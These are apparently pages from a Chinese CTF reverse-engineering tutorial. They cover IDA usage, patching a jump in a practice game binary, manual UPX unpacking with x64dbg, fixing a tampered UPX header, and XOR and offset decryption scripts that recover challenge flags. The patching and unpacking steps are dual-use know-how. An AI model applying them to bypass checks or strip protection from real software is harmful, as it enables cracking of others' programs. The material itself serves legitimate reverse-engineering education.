随意用IDA打开一个文件,我们可以看到主界面:

Function

左边的Function视窗,我们可以看到程序内识别出的所有函数。
Ctrl+F还可以搜索我们想找的函数:

IDA View-A

右侧IDA View-A我们可以看到反汇编得到的汇编代码,以及控制流。

按空格键可以切换 “平铺” 和 “控制流” 两种模式。

平铺模式可以让我们看到所有代码在内存中保存的位置、顺序。

控制流模式可以让我们清晰地看到程序控制流的变化。

IDA View-A下的其他快捷键:

  • G:指定地址跳转
  • P:解析函数
  • C:将数据转化为代码
  • D:将代码转化为数据
  • Shift+E:提取数据

在IDA View-A视窗下按Tab或F5就可以自动将汇编代码翻译成 伪C语言代码 。(也就是传说中的 “万能F5” )
伪C代码可以近似当做C语言代码阅读,只是有些地方语法不一定准确,也会受到源程序编码语言的影响 (如Rust语言反编译出的依托答辩)

Pseudocode-A

Pseudocode-A视窗下的快捷键:

  • /:添加注释
  • \:隐藏类型描述
  • Y:更改变量类型
  • R:将选中的数字转换为相应的ASCII字符
  • X:查看函数的交叉引用
  • N:更改变量名称

String

除此之外,我们还可以通过String界面查看程序中所有的字符串:

  • Shift+F12:打开String界面,查看字符串

至此,你就大致掌握了逆向工程最基础的逆向分析工具!

这就结束了吗……?

别急,IDA并不只是我们上面介绍的这么简单zwz~

现在的IDA可以完成更多有趣的工作,比如下面这些:

patch

我们以一个题目为例(点击下载附件):

本题下发了一个小游戏,需要你不断输入attack使怪兽的血量清零:

!!! Danger "危险操作"
请注意,在逆向工程中接触的文件可能是有病毒的!
所以一个比较保险的做法是先进行静态分析和云沙箱分析,确保万无一失之后再尝试在虚拟机中运行。
目前笔者见过的案例包括但不限于有选手的电脑/服务器被挂上挖矿程序被迫挖矿、文件都被病毒加密等等……
逆向千万条,安全第一条,操作不规范,机器两行泪喵~

首先可以把可执行程序丢入DIE分析一下:

可以看到是64位的Windows程序(PE64),如果你是旧版本(<9.0)的IDA,需要拖给IDA64进行分析,否则直接拖给IDA分析就行了(笔者这里是IDA Pro 9.3,直接拖过去分析即可):

等待加载完成,我们就会看到反汇编的控制流视图:

可以看到 IDA 已经找到 main 函数。此时可以按下 F5(刷新反编译结果)或 Tab(切换到当前指令处的反编译结果),查看对应的伪 C 代码:

c
__int64 __fastcall main()
{
  std::ostream *v0; // rax
  std::ostream *v1; // rax
  std::ostream *v2; // rax
  std::ostream *v3; // rax
  std::ostream *v4; // rax
  std::ostream *v5; // rax

  _main();
  system_0("color 0e");
  while ( hps.hp != hashs )
    show();
  system_0("color 0a");
  v0 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, (char *)&byte_1400B50B7);
  std::endl<char,std::char_traits<char>>(v0);
  v1 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, (char *)&byte_1400B50CC);
  v2 = (std::ostream *)std::ostream::_M_insert<long long>(v1);
  v3 = (std::ostream *)std::operator<<<std::char_traits<char>>(v2, (char *)&byte_1400B50D5);
  v4 = (std::ostream *)std::ostream::_M_insert<long long>(v3);
  v5 = (std::ostream *)std::operator<<<std::char_traits<char>>(v4, (char *)&byte_1400B50DE);
  std::endl<char,std::char_traits<char>>(v5);
  system_0("pause>>nul");
  return 0;
}

看起来这是一个C++或者类似语言编写的小游戏,不妨双击show()函数查看内容:

text
/* Detailed source-code truncated for AI context efficiency. */

!!! Tip "代码太长了?不要慌~"
很多人在初学RE的时候,看着长篇大论的代码就有些发憷。
但其实完全没有这个必要哦~逆向工程并不是要求你能完整阅读所有的代码,你只要能读懂你感兴趣的那部分就好啦~
就比如这题我们直接阅读的是show()的逻辑,而不是先去研究比如std::ostream::_M_insert是什么~
耐心仔细读读吧,多去了解一些常见的算法和开发逻辑,会有利于你理解别人编写的程序哦~

我们很快就能看到和attack有关的东西:

c
std::operator>><char>(refptr__ZSt3cin);
  if ( !(unsigned int)std::string::compare(&ans[abi:cxx11], "attack") )
  {
    system_0("cls");
    hps.hp = hashs ^ ((hashs ^ hps.hp) - 1);
    system_0("color 0a");
  }
  else
  {
    system_0("cls");
    system_0("color 0c");
  }

显然这是一个C语言风格的读入(cin),之后该程序会检验读入的字符串是不是attack,如果正确就将hp进行一个操作(我们前面已经尝试过了,这里是hp-1)。

但是显然这样太慢了,我们有没有什么更快的方法?

有的兄弟,有的,这里我们介绍patch(补丁)大法。

这里我们需要先了解一个汇编的基础常识:一般在汇编中实现分支逻辑结构的方法是使用 有条件跳转 (比如jz(jump if ZF=0)和jnz(jump if ZF!=0))和 无条件跳转 (比如jmp)。

在大概理清了程序逻辑之后,我们切换回main()的控制流视角。

可以发现main函数的控制流可以归纳成这么几段(猫猫已经将内容复制出来了喵):

asm
; __int64 __fastcall main()
public main
main proc near
push    r12
sub     rsp, 20h
call    __main
lea     rcx, aColor0e   ; "color 0e"
call    system_0
mov     rax, cs:hashs
cmp     cs:hps.hp, rax
jz      short loc_1400B0C45
asm
nop     word ptr [rax+rax+00000000h]
asm
loc_1400B0C30:
call    _Z4showv        ; show(void)
mov     rax, cs:hashs
cmp     cs:hps.hp, rax
jnz     short loc_1400B0C30
text
/* Detailed source-code truncated for AI context efficiency. */

这里可以先尝试去理解一下这些汇编语句是什么意思,可以对应着之前反汇编出来的main()解读。

我们把重点放在这里:

c
while ( hps.hp != hashs )
    show();

根据汇编我们可以得知这一部分调用show()是进行了call _Z4showv ; show(void),也就是说这里默认会进入loc_1400B0C30。

那什么情况下会进入loc_1400B0C30呢?

asm
mov     rax, cs:hashs ;将hashs变量的数值存入rax
cmp     cs:hps.hp, rax ;将rax和hp变量比较(作差)
jnz     short loc_1400B0C30 ;如果比较之后差值不为0则跳转到loc_1400B0C30

显然,正常情况下只有血量的存储值等于hashs的时候jnz才会不成立,从而继续向下执行。

??? Question "为什么这里是和hashs比较,而不是和0进行比较?"
还记得前面attack相关的逻辑吗?
c hps.hp = hashs ^ ((hashs ^ hps.hp) - 1);
这里可以分解为3个语句:
c hps.hp = hps.hp ^ hashs; hps.hp = hps.hp - 1; hps.hp = hashs ^ hps.hp;
根据异或(^)性质,对于任何数 $x,a$ ,一定存在 $x^a^a=x$ 恒成立,且 $0^x=x$ 。
所以这里hps.hp显然是经历过一次异或的,也就是:
text 将hp从存储值还原回真实数值; 将hp减少1; 将hp变为异或后的数值(存储值)。
而我们原来想要的比较逻辑应该是“如果hp变为0,则显示我们想要的信息”。

text
对应的异或表达式就是“如果存储的hp和hashs相等,则显示我们想要的信息”。

那么,如果我们将这里的jnz改成jz,是不是就可以实现直捣黄龙了?

说干就干,首先我们点击我们想要修改的jnz short loc_1400B0C30那一行:

之后我们选择Edit -> Patch Program -> Assemble,就可以看到以下窗口:

下面我们把其改为jz short loc_1400B0C30并按下OK,然后……他怎么又弹出来一个新窗口?

可以看到这里后面的汇编框里修改已经生效了,但是为什么会有一个新的窗口出现?

这里有一个细节:有时候我们会有修改为其他类型汇编语句的需求(比如将jnz修改为nop),但是修改之后我们会发现后面的代码丢失了。

如果出现这种情况那大概率是出现了 代码移位 ,即你新替换的指令和原指令所占的字节数不同,导致整个指令流都出现了偏移,进而导致解析出错(在IDA里面会爆红提示错误)。

解决方法有很多,最常见的就是多补几个nop,而新窗口的出现就是为了方便我们实现这项操作的:他会直接问你需不需要修改下一个字节的指令。

因为这里我们是直接把jnz修改成jz,两者所占的字节数相同,并不需要补字节操作,所以这里我们直接Cancel就好。

??? Question "思考题:还有其他可用的修改方式吗?"
还记得我们前面那几段汇编语句吗,除了修改jz和jnz之外,我们还可以修改jnz的参数(就是前面那个loc_1400B0C30)。

text
只要把这里修改成最终击败怪兽之后的地址(在这里是`loc_1400B0C45`,也就是刚结束while循环的那个逻辑框),我们就可以通过一次`attack`直接实现跳转。

所以还有一种修改方式是`jnz     short loc_1400B0C45`。

本题的修改方式有很多哦,可以多思考多探索一下,熟悉熟悉Patch操作\~

还没完,这里我们只是刚刚修改好我们想要的语句,现在我们需要保存。

保存Patch后程序的选项其实也在我们刚才那个菜单:Edit -> Patch Program -> Apply patches to input file...:

这里的Create backup是创建一个备份文件,Restore original bytes是还原所有更改(防止patch错误但是不小心覆盖掉了源文件)。

(顺带一提,如果你需要查看修改过的地方,可以按下Ctrl + Alt + P)

点击OK保存即可(记得关掉之前打开的可执行程序哦,不然会Permission Denied)。

最后,运行我们Patch完成的程序,输入一次attack之后回车两次:

成功啦~

??? Question "话说,这题还有什么其他的解法喵?"
本题的另一种解法是使用Cheat Engine动态调试,也就是通过追踪变化的HP,定位到HP的存储地址并将其篡改成我们想要的数值。

text
如果你想要尝试这种方法的话,你可能需要知道hashs的值,只需要在反汇编的代码里面双击hashs就会自动跳转啦~

Hc Reverse 从零开始的壳 (`docs/hc-reverse/从零开始的壳.md`)

壳

概念

“壳”,顾名思义,是程序外面的 “保护层”,主要分为压缩壳和加密壳两种。比赛中常见的一般是压缩壳,它在程序中加入一些代码隐藏程序真正的入口,使其难以被反编译。

查壳

软件:EXEInfoPE、PEID、StudyPE+、DIE等

它们的使用都差不多,下面以DIE为例:

我们可以看到程序使用的操作系统位数、加壳的情况等等。

脱壳

既然知道了如何查壳,那么如何脱去这层烦人的外衣呢?
这里分为两种脱壳方法:

  • 工具脱壳:用软件脱壳,方便快捷,只不过能解决的壳有限,不一定能解决魔改壳。

  • 手动脱壳:用xdbg、OD等动态调试软件脱壳,难度高,但通杀。

以最常见的UPX壳举例:

  • 工具脱壳:使用官方工具upx.exe,使用命令即为upx.exe -d <文件(加后缀)>

  • 手动脱壳:

    • 32位:OllyDbg脱壳(较简单,可参考网上大量教程)
    • 64位:x64dbg
      示例为 [SWPUCTF 2022 新生赛]upx 中的附件(64位,UPX3.96壳),可以用工具脱壳。下面尝试手动脱壳。

XP后的系统都有ASLR(地址空间随机化),导致dump后程序运行出错,因此我们首先用CFF Explorer修改该文件的Nt Header,禁用ASLR

在Nt Header下的Optional Header里修改Characteristics,勾选Relocation info srtipped from file。关闭后记得保存。
用x64dbg打开文件,进入系统断点(push rbx)。

按F9到达该断点(这里要按两次,上面还有个别的什么断点)
F7走完push压栈部分

观察到RSP的变化,在其上右键“在内存窗口中转到”

在右下角该地址右键,设置硬件断点

F9运行到断点处,看到下面的jmp大跳应该是入口,设置断点,F9跳过去

F7步入程序

往下翻可以看到提示字符串
这就正式进入了原程序,可以进行dump了

先点“IAT Autosearch”,再点“Get Imports”,在“Imports”中删除掉带有红色叉叉的,再点击“Dump”,之后“Fix Dump”选中之前的Dump文件,修复成功。

p04 副本_dump_SCY.exe 也可以正常运行拖入IDA中,这里会报错,Yes不用管它

(由于某种神秘力量?)没有main函数,只能通过字符串来找函数

X键找一下位置

可以看到大致的代码
如果想把字符串展开看,可以(退到IDA View-A中)修改Segment,取消w勾选

修复后

显然sub_140001540是printf函数,脱壳结束

干扰

虽然我们有脱壳的各种方法,但是出题人并不总是想让你顺利地解出答案。

魔改UPX头

让我们以NCTF2023的中文编程2为例:

当我们查壳时发现UPX的版本号被抹去,那就是文件头被魔改了。这时候手动脱壳依然是有效的,不过有时候太麻烦,所以我们也可以手动把UPX头改回来。

用010Editor打开文件:

发现字符串提示,这些地方应该是被改了。
对比一下正常的upx文件:

分别是UPX0、UPX1、UPX!
改一下(注意在左边改,在右边改会把后面的.覆盖掉)

版本号出来了,可以正常脱壳

成功了!我的朋友!


Hc Reverse 基本运算 (`docs/hc-reverse/基本运算.md`)

基本运算

对于初学者来说,“基本运算”这个词可能听起来较为抽象,似乎意味着需要学习很多新的内容。

但实际并不复杂,本文仅介绍逆向中常见的基础运算方法。

XOR 异或加密

前置知识:什么是异或XOR?

在数学和数理逻辑中,逻辑代数(有时也称开关代数、布尔代数)是代数的一个分支,其变量的值仅为 真 和 假 两种真值(通常记作 1 和 0 )。

而异或(XOR)则是其中的一种基本 逻辑运算 。

逻辑异或

在逻辑代数中,对于逻辑变量 $A$ 和 $B$,定义二元运算 "异或" (XOR),记为 $A \oplus B$。

该运算的真值表如下:

A B A⊕B
0 0 0
0 1 1
1 0 1
1 1 0

!!! Tips "对于异或运算,这里有两个常见的真值表记忆口诀"
1. 相同为0,不同为1。
2. 不带进位的二进制加法。(即“模2加法”)

按位异或

而在计算机中,由于这种运算与二进制表示天然契合,因此在计算机体系中异或运算被直接实现为 xor 指令。

它通常以 按位运算(bitwise operation) 的形式出现,即对两个二进制数的每一位分别进行异或计算。

xor指令的格式是xor dest, src。

其中dest是目标操作数,src则是来源操作数,操作数可以是寄存器、内存单元或立即数。

!!! example "寄存器(Register)"
直接操作 CPU 寄存器中的值,速度最快。

!!! example "内存单元(Memory)"
用方括号 [] 表示,访问对应地址处的内存内容。

!!! example "立即数(Immediate)"
直接嵌入指令中的常数值,不涉及任何内存或寄存器访问。

但在 x86 架构中,两操作数指令通常有一个限制:

  • 最多只能有一个操作数是内存操作数
  • 目标操作数不能是立即数

另外,汇编中的 xor eax, eax 通常用于将对应寄存器清零。

原理

介绍完异或运算后,下面说明异或加密。

异或加密在逆向题中非常常见,因为它实现简单、特征明显,适合用于基础混淆。

他的特性是 对称 ,核心原理是因为异或运算存在如下性质:

$$ A ⊕ B ⊕ B = A $$

A 在经过两次相同的异或运算后,会还原成 A 本身。

??? Question "怎么证明这个性质?"
这里猫猫给出一种比较直观的证明思路(严格证明可以从布尔代数性质推出):
首先我们先明确一个基本事实:异或运算每一位的结果都是 独立 产生的,这意味着每一位的异或结果并不会影响到其他位。
来回忆一下异或运算(XOR,⊕)的真值表,对于两个1位二进制 A 和 B :

text
| A | B | A⊕B |
|:---:|:---:|:-----:|
| 0 | 0 |  0  |
| 0 | 1 |  1  |
| 1 | 0 |  1  |
| 1 | 1 |  0  |

显然异或运算具有交换律,其结合律其实也很易得(或许这里读者可以自证一下?)    
那么 `A XOR B XOR B` 显然等价于`A XOR (B XOR B)` ,也就是`A XOR 0` 。  
而任何数和0进行异或,得到的结果就是这个数本身。  
所以对于1位二进制数,我们有`A XOR B XOR B = A`,但因为每一位的运算都是相互独立的,所以这个结论可以自然推广到多位二进制数。  
如果读者想要尝试一下的话,可以自己利用数学知识来严谨证明一下哦~

!!! Quote "猫猫の碎碎念"
需要注意的是,单纯的 XOR 加密在真正的密码学中几乎没有安全性(除非使用一次性密钥 One-Time Pad)。
因此在 CTF 中它更多只是作为一种简单的混淆手段。

加密

以下使用一个简单的 C 程序进行演示:

c
#include <stdio.h>
#include <string.h>
int main() {
    const unsigned char flag[] = "flag{test}";
    const unsigned char key[]  = "key";
    size_t flen = strlen(flag);
    size_t klen = strlen(key);
    for (size_t i = 0; i < flen; i++) {
        unsigned char c = flag[i] ^ key[i % klen];
        printf("%02x", c);
    }
}

首先将其编译为汇编并进行简化整理:

assembly
; int __fastcall main(int argc, const char **argv, const char **envp)
main            proc near

                ; "flag{tes"的ASCII编码(小端序),因为x86是小端序存储,
                ; 所以低字节0x66(即'f')存于低地址,对应字符串的首字节
                mov     rax, 7365747B67616C66h
                mov     qword ptr [rbp+var_24], rax
                mov     word ptr [rbp+var_24+8], 7D74h
                mov     [rbp+var_24+0Ah], 0
                mov     dword ptr [rbp+var_28], 79656Bh ; "key\0"
                mov     [rbp+var_8], 0              ; i = 0
                mov     [rbp+var_18], 3

.loop:
                cmp     [rbp+var_8], 10
                jge     .done
                lea     rax, [rbp+var_24]
                add     rax, [rbp+var_8]
                movzx   ecx, byte ptr [rax]         ; ecx = flag[i]
                mov     rax, [rbp+var_8]
                mov     rdx, 0
                div     [rbp+var_18]                ; rdx = i % 3
                movzx   eax, [rbp+rdx+var_28]       ; eax = key[i % 3]
                xor     eax, ecx                    ; flag[i] ^ key[i%3]
                mov     [rbp+var_19], al
                movzx   edx, [rbp+var_19]
                lea     rcx, Format                 ; "%02x"
                call    printf
                add     [rbp+var_8], 1              ; i++
                jmp     .loop

.done:
                mov     eax, 0
                retn
main            endp

异或加密顾名思义,就是利用 xor 指令对我们感兴趣的内容进行加密,从而在一定程度上起到 简单混淆(obfuscation) 的效果。

而这一段汇编代码中的 xor eax, ecx 对应 C 代码中的 flag[i] ^ key[i % klen]。

如果一开始无法确定 xor 进行了怎样的操作,可以借助 IDA 的反编译视图辅助分析。

在 IDA 中按 F5 可查看伪代码:

c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [rsp+28h] [rbp-28h] BYREF
  char v5[11]; // [rsp+2Ch] [rbp-24h] BYREF
  unsigned __int8 v6; // [rsp+37h] [rbp-19h]
  unsigned __int64 v7; // [rsp+38h] [rbp-18h]
  unsigned __int64 v8; // [rsp+40h] [rbp-10h]
  unsigned __int64 i; // [rsp+48h] [rbp-8h]

  _main(argc, argv, envp);
  strcpy(v5, "flag{test}");
  strcpy(v4, "key");
  v8 = 10;
  v7 = 3;
  for ( i = 0; i < v8; ++i )
  {
    v6 = v5[i] ^ v4[i % v7];
    printf("%02x", v6);
  }
  return 0;
}

可以看到IDA的反汇编已经成功识别出了v6 = v5[i] ^ v4[i % v7]。

解密

接下来说明解密过程。由于 XOR 运算具有对称性,解密逻辑与加密逻辑一致:

由异或性质

text
A XOR B = C
C XOR B = A

可知,用同样的 key B 对密文 C 再次进行 XOR 运算,即可将密文 C 还原为明文 A。

以下是一个使用 Python 3 实现的解密程序示例:

python3
cipher = bytes.fromhex("0d09180c1e0d0e160d16") # 填入密文并转为bytes
key = b"key" # 填入反编译得来的key
plain = b""

for i in range(len(cipher)): # 这里需要跟加密的逻辑一致
    plain += bytes([cipher[i] ^ key[i % len(key)]])

print(f"{plain.decode()}")

运行结果:

text
$ python ./xor_dec.py
flag{test}

解密成功。

!!! Note "在逆向题目中不一定看到的就是明文喵~"
可能有人会问了,我前面都已经看到明文就是flag{test}了,为什么还要费劲去写一个解密程序?
事实上,绝大多数的逆向题目里面存的都不是明文,而是加密后的密文,程序会要求我们输入正确的flag,在加密之后和程序存储的密文进行比较。
我们需要做的就是根据程序对输入内容的加密,来逆向编写出解密程序,从而实现对加密后flag的还原。

int8 计算

接下来讨论与 int8 密切相关的 char 类型。

标题写的是 int8,这里为什么要讨论 char?

事实上,在计算机系统中,即使是 char 这样的字符,本质上也是以数字形式存储的。

我们在前面的 C 语言基础篇中已经介绍了 ASCII 码,也提到过键盘上的可见字符基本都可以用一个 ASCII 码表示。

实际实现也是如此,因此下面这段代码是合法的:

c
char str[4]="abc";
str[0]++;
str[1]+=2;
str[2]--;
printf("%s",str); //bdb

正如注释所示,这个字符串最终会从 abc 变成 bdb,这也是防止直接搜索 flag 的常见方法之一。

??? Question "话说char到底是不是一个有符号数……?"
事实上,C/C++标准里特意把这种问题设定为一种"实现定义行为"(implementation-defined behavior),也就是说,char 是否有符号取决于你的编译器和平台。
在大多数 x86/x64 平台上(如 MSVC、GCC/Linux),char 默认等价于 signed char;而在某些 ARM 平台上,char 默认等价于 unsigned char。
需要注意的是,尽管 char、signed char、unsigned char 是三种不同的类型,但 char 在运行时必然是其中某一种——要么有符号,要么无符号,并不存在第三种状态。
如果你的代码依赖 char 的符号性,建议显式使用 signed char 或 unsigned char 以避免平台差异带来的问题。

例题

下面看一道例题(其中 buffer 为全局字符数组):

c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _DWORD v4[32]; // [rsp+20h] [rbp-B0h] BYREF
  char Str[32]; // [rsp+A0h] [rbp-30h] BYREF
  size_t v6; // [rsp+C0h] [rbp-10h]
  size_t i; // [rsp+C8h] [rbp-8h]

  //Mingw会有一个 mainCRTStartup -> main,IDA会解析成_main
  //做题时不用管这个
  _main(argc, argv, envp); 
  strcpy(Str, "flag{FOREST_so_enhance_Breath}");
  memset(v4, 0, 24);
  v4[6] = -32; //注意这里从index 6开始,因为v4前6项其实都是0
  v4[7] = -32;
  v4[8] = -2;
  v4[9] = -18;
  v4[10] = -32;
  v4[11] = 0;
  v4[12] = 32;
  v4[13] = 0;
  v4[14] = -14;
  v4[15] = 0;
  v4[16] = 15;
  v4[17] = 28;
  v4[18] = -14;
  v4[19] = -9;
  v4[20] = -2;
  v4[21] = -13;
  v4[22] = 0;
  v4[23] = -19;
  v4[24] = 2;
  v4[25] = -11;
  v4[26] = -4;
  v4[27] = 2;
  v4[28] = 41;
  v4[29] = 0;
  scanf("%99s", buffer);
  v6 = strlen(Str);
  for ( i = 0; i < v6; ++i )
    buffer[i] += LOBYTE(v4[i]);
  if ( !strcmp(buffer, Str) )
    printf("Good Job!");
  else
    printf("Try again!");
  return 0;
}

从表面上看,出题人似乎把 flag 直接写在了程序中:flag{FOREST_so_enhance_Breath}。

但如果直接提交该字符串,则会看到 Wrong Flag 的提示。

这是一个错误的 flag,原因如下。

注意这一行:buffer[i] += LOBYTE(v4[i]),其中 buffer 是程序读取的输入字符串。

这说明程序并没有直接将输入字符串与目标字符串比较,而是先对多个字符进行偏移,而 v4 实际上存储了各个位置字符对应的偏移量。

解法

那么该如何解题呢?

这是逆向工程题目的一个常见解题思路:按照程序逻辑逆向计算,反推出目标字符串对应的原始 flag。

输入字符串通过偏移后与目标字符串比较,只需逆转这个操作:将 加法 改为 减法,就能将目标字符串还原回flag。

据此可写出如下 Python 程序:

python3
offset = [0,0,0,0,0,0,-32,-32,-2,-18,-32,0,32,0,-14,0,15,28,-14,-9,-2,-13,0,-19,2,-11,-4,2,41,0]
origin = "flag{FOREST_so_enhance_Breath}"
flag = ""

for i in range(30):
    flag += chr(ord(origin[i])-offset[i])

print(flag)

然后就可以得到最终 flag:flag{ForGet_Some_Lower_Upper?}。

验证结果如下:

可以看到程序输出了 Good Job,至此该题完成。

其他常见方法

此外还可以继续扩展到几个大类:移位密码、置换密码、替换密码等。

以替换密码为例,它与前面的 int8 计算在形式上有一定相似性,但核心是“替换策略”,即根据一个或多个替换表,按规则对原文进行替换,例如凯撒密码和维吉尼亚密码。

如果对这类算法感兴趣,可以继续阅读 Crypto 方向的内容。

直达链接

这里不再展开。

PS:如果希望快速记忆,可以代入“披着羊皮的狼”;但仍建议优先掌握原理与细节。


Hc Reverse 引导篇:灵魂FAQ (`docs/hc-reverse/引导篇:灵魂FAQ.md`)

引导篇:灵魂 FAQ

本章节将会通过三个问题作为切入点,向你介绍关于 CTF 中的逆向工程(Reserve)的一些基本情况:是什么?有什么?怎么做?

1.是什么?🤨

你说得对,但逆向工程一般指软件逆向工程,即对 广义 下的 目标文件 进行分析(如可执行文件及其链接库),通过反汇编工具查看文件机器码对应的汇编块,研究程序的行为和算法,然后以此为依据,通过一系列操作得出出题人想要隐藏的 flag。

当然,这只是通俗易懂的针对 CTF 比赛的解释,实战中的逆向工程,会涉及到更多方面,解释也会更加复杂,这里不再赘述。

!!! Note "这里的目标文件可不是.o文件哦~"
在ELF文件格式规范中,ELF文件被统称为Object file,这与我们通常理解的.o文件不一样。
因此当提及目标文件的时候,按照规范这里指的就是各种类型的ELF文件。
不过为了降低理解成本,我们这里定义的是 广义 上的目标文件,即大部分与COFF相关的文件。
如果你不知道有哪些,以下是一些常见例子:ELF文件,PE文件……
为了与.o文件区分,我们将.o文件直接称为 可重定位文件 。
需要注意的是,虽然这里的目标文件和可执行文件有细微的差异,但是一般不会影响RE的初学者做题。
所以我们索性直接将其称为 可执行文件 ,你只需要在做相关概念题的时候稍微区分一下就好(?)。

💡 Tips:建议去了解一下这些目标文件,本板块中并不会对这些进行详细解释,接下来我们会直接将其称之为 可执行文件 。

2.有什么?🧐

逆向类题目是 CTF 中变数较多的题型,现已覆盖 Windows 逆向、Linux 逆向和 Android 逆向,再加上 Flash 逆向、Python 逆向、.NET 逆向、ARM 逆向,Lua逆向等。

目前主流的逆向文件平台有 Windows 和 Linux,这两个平台的逆向工程发展时间最久,其可变灵活度也很高,所以目前 CTF 中的逆向题目也就自然而然地呈现出其灵活多变的特点。

CTF 中给出的题目常见形式有 ELF 可执行文件、exe 文件、dll 文件、so文件等。同时,也不乏有直接将一段汇编代码塞到 txt 里直接丢给你的情况。以上这些在后续的例题中也会随之讲到。

以上这些文件形式中还会出现各种各样的代码保护方式:混淆、花指令、加壳、复杂算法、复杂汇编等。毕竟如果作为程序编写者,我们也不希望自己的程序源代码就轻而易举的被获取,所以我们需要想办法突破这些障碍,去拿到我们想要的 flag 字符串。

3.怎么做?🤔

目前,从我个人观点来讲,在进行 CTF 逆向时,我们需要做到以下方面的准备:Tool(工具)、Language(语言)、Stick [肝(坚持)],简称 TLS 传输层安全协议(bushi) TLS,如果非要多加一个那就是 Observation and Analysis(代码分析能力)。

Tool : 指在进行逆向分析时所需要用到的软件,我们常见的有 Detect It Easy(简称DIE)、IDA、GDB、Ollydbg(简称 OD)、Cheat Engine(简称 CE)等。

这些工具的用法在后面的章节中都会教大家如何 Quick Start。

!!! Abstract "请时刻记得"
不顺手的工具终究只会是负担。

Language : 兄弟,你知道我想说什么。语言 这个词在这里提出来,那肯定不是单纯的英语了,这里指的是 计算机语言 。

在进行逆向工程的过程中,我们难免要编写一些脚本去计算或者模拟出题人给我们的一些过程,从而去获取我们想要的 flag。

最常见也最常用的编程语言就是 Python 和 C/C++ ,其次是 Java。

除去现代的这些高级编程语言,还有一门相对底层一些的编程语言比较重要,那就是汇编语言(Assembly Language,简称 ASM):汇编语言是第二代计算机语言,在早期的编程环境中很常用,相比起二进制机器码(机器语言)而言,汇编语言因为引入了“助记符”的概念,比较让人容易看懂,同时因为其和二进制机器码可以直接对应,几乎所有的目标文件都可以翻译成汇编指令。(搞嵌入式的同学可能会经常搞这些)

!!! Info "请注意:汇编语言并不是某一种语言"
汇编语言其实是一类语言的合集,根据不同的处理器架构(比如X86汇编和ARM汇编),我们可以写出不同的汇编语句。

在 CTF 逆向中,我们需要面临的有 x86 汇编和 x86-64 汇编(后者简称x64汇编),也即 32 位汇编和 64 位汇编;两者虽然同为汇编语言,但是它们之间还是存在一些差别的,所以在学习的时候两个都不能有过于倾向的情况,都要认真去学习。

在后面的章节中,我会提到一些关于 ASM 的 Quick Start 方法。

Stick : 这个就不多说了吧,原神玩家最清楚这种体验 () 。对于 re 手来说,一次看几万行代码的情况,很常见。这种高强度的折磨对于没有耐心的小伙伴来说简直是虐待,在这种情况下你要盯着屏幕一直看,还要保持细心和睿智。所以很多 re 手比较 擅长摸鱼发呆(bushi) 沉稳和精明。

4.章节总结 😆

本章主要介绍了 CTF 中逆向工程方向的一些基本情况,目的是 劝退各位✌ 带各位大致了解一下 CTF 中的逆向工程是什么样子的,以及之后的学习方向都有哪些。如果有错误请及时指出哟~


Hc Reverse 编码基础 (`docs/hc-reverse/编码基础.md`)

编码基础

由于 Reverse 方向涉及到的编码类型很多,这里只对一些较为经典的编码方式进行介绍。

Hex 编码(十六进制编码)

定义与原理

Hex 编码是将二进制数据用 16 进制数字 表示的一种编码方式。它将每个字节拆分为高4位和低4位,分别映射为一个十六进制字符。

!!! example "十六进制字符有哪些?"
大写版本:0123456789ABCDEF
小写版本:0123456789abcdef

设原始字节数据为 $B = [b_0, b_1, ..., b_{n-1}]$,每个字节 $b_i$ 的取值范围为 $[0, 255]$。

将每个字节拆分为高 4 位和低 4 位:

$$
b_i = 16 \times h_i + l_i
$$

其中:

  • $h_i = \lfloor b_i / 16 \rfloor$ 为高半字节
  • $l_i = b_i \bmod 16$ 为低半字节

编码示例

对于字符串 "Hello" 的 ASCII 字节序列:

字符 ASCII 高4位 低4位 Hex编码
H 72 4 8 48
e 101 6 5 65
l 108 6 c 6c
l 108 6 c 6c
o 111 6 f 6f

最终结果:$\text{"48656c6c6f"}$

Unicode 编码

定义与数学本质

Unicode 常被误认为是一种编码方式,但它本质上是一个 字符集 ,只负责为每个字符分配唯一的 码点 (code point)。

至于如何将码点转换为字节,则由 UTF-8、UTF-16 等具体编码方案负责。

$$
\text{Unicode 码点空间} = {0, 1, 2, ..., 0x10FFFF}
$$

这一空间共可容纳约 111 万个字符位置,足以涵盖人类目前使用的所有书写系统。

常用编码方式

Unicode 需要通过特定的 编码方式 将目标字符串转换为字节序列,常见的有:

UTF-8(变长编码)

  • ASCII 字符(U+0000 到 U+007F)占 1 字节
  • 其他字符占 2-4 字节
  • 无字节序问题

UTF-16(变长编码)

  • BMP 字符(U+0000 到 U+FFFF)占 2 字节
  • 补充平面字符占 4 字节,通过代理对(U+D800–U+DFFF)编码
  • 分 UTF-16LE(小端)和 UTF-16BE(大端)

UTF-32(定长编码)

  • 所有字符固定占 4 字节
  • 分 UTF-32LE 和 UTF-32BE

常见形式识别

在二进制分析中,Unicode 字符串常以以下形式出现:

  • UTF-8:ASCII 字符保持不变,非 ASCII 字符为多字节
  • UTF-16LE:每两个字节表示一个字符,低字节在前,如 H\x00e\x00l\x00l\x00o\x00
  • UTF-16BE:每两个字节表示一个字符,高字节在前,如 \x00H\x00e\x00l\x00l\x00o
  • UTF-32:每四个字节表示一个字符

Base 编码

简单来说,所有的 Base 编码本质上都是在做同一件事: 数字进制转换 。

以下是一些常见的 Base 编码:

  • Base16
  • Base32
  • Base64
  • Base36
  • Base58
  • Base62
  • Base85
  • Base91
  • ...

我们可以将这些编码的转换方式大致分为两类: 按位切分法 和 大整数除法 。

按位切分法

对于编码表长度是2的幂次的Base编码,常用按位切分法(比如 Base16, Base32, Base64 ...)。

比如 Base64 编码,其编码表中有 $2^6=64$ 个字符,其核心原理就是将 3 个 8bit 切分成 4 个 6bit ,通过编码表映射实现编码。

这里以flag为例,展示一下 Base64 编码的过程:

我们可以使用 CyberChef 进行 Base64 编码的解码:

大整数除法

但还有很多 Base 编码不符合上述情况,这时候他们中的大多数会选择使用大整数除法。

简单来说就是,首先将原文通过256进制转换为一个大整数,然后不断地进行“取余”和“整除”操作,直到大整数变为0。

此时逆向拼接取余映射出来的字符,得到的新字符串就是编码结果。

!!! Quote "猫猫の碎碎念"
还记得猫猫之前说的喵?Base就是进制转换呀!
这里的操作也和计算机课上学习的“十进制转二进制”做法一样的,只不过变成了转任意进制~

